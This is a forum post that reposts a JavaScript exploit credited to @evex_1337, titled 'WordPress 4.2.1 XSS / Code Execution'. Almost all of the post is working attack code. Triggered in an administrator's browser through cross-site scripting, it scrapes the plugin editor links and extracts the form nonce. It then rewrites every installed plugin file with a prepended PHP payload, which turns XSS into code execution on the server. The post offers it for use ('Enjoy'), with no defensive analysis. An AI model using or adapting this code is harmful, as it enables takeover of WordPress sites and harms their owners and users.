Jump to content
kp112

WordPress 4.2.1 XSS / Code Execution

Recommended Posts

Exploit that uses a WordPress cross site scripting flaw to execute code as the administrator.

/*
Author: @evex_1337
Title: Wordpress XSS to RCE
Description: This Exploit Uses XSS Vulnerabilities in Wordpress
Plugins/Themes/Core To End Up Executing Code After The Being Triggered With
Administrator Previliged User. ¯\_(?)_/¯
Reference: [url]http://research.evex.pw/?vuln=14[/url]
Enjoy.

*/
//Installed Plugins Page
plugins = (window.location['href'].indexOf('/wp-admin/') != - 1) ?
'plugins.php' : 'wp-admin/plugins.php';
//Inject "XSS" Div
jQuery('body').append('<div id="xss" ></div>');
xss_div = jQuery('#xss');
xss_div.hide();
//Get Installed Plugins Page Source and Append it to "XSS" Div
jQuery.ajax({
url: plugins,
type: 'GET',
async: false,
cache: false,
timeout: 30000,
success: function (txt) {
xss_div.html(txt);
}
});
//Put All Plugins Edit URL in Array
plugins_edit = [
];
xss_div.find('a').each(function () {
if (jQuery(this).attr('href').indexOf('?file=') != - 1) {
plugins_edit.push(jQuery(this).attr('href'));
}
});
//Inject Payload
for (var i = 0; i < plugins_edit.length; i++) {
jQuery.ajax({
url: plugins_edit[i],
type: 'GET',
async: false,
cache: false,
timeout: 30000,
success: function (txt) {
xss_div.html(txt);
_wpnonce =
jQuery('form#template').context.body.innerHTML.match('name="_wpnonce"
value="(.*?)"') [1];
old_code = jQuery('form#template div textarea#newcontent') [0].value;
payload = '<?php phpinfo(); ?>';
new_code = payload + '\n' + old_code;
file = plugins_edit[i].split('file=') [1];
jQuery.ajax({
url: plugins_edit[i],
type: 'POST',
data: {
'_wpnonce': _wpnonce,
'newcontent': new_code,
'action': 'update',
'file': file,
'submit': 'Update File'
},
async: false,
cache: false,
timeout: 30000,
success: function (txt) {
xss_div.html(txt);
if (jQuery('form#template div textarea#newcontent')
[0].value.indexOf(payload) != - 1) {
// Passed, this is up to you ( skiddies Filter )
injected_file = window.location.href.split('wp-admin') [0] +
'/wp-content/plugins/' + file; //
[url]http://localhost/wp//wp-content/plugins/504-redirects/redirects.php[/url]
throw new Error('');
}
}
});
}
});
}

Source : WordPress 4.2.1 XSS / Code Execution

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...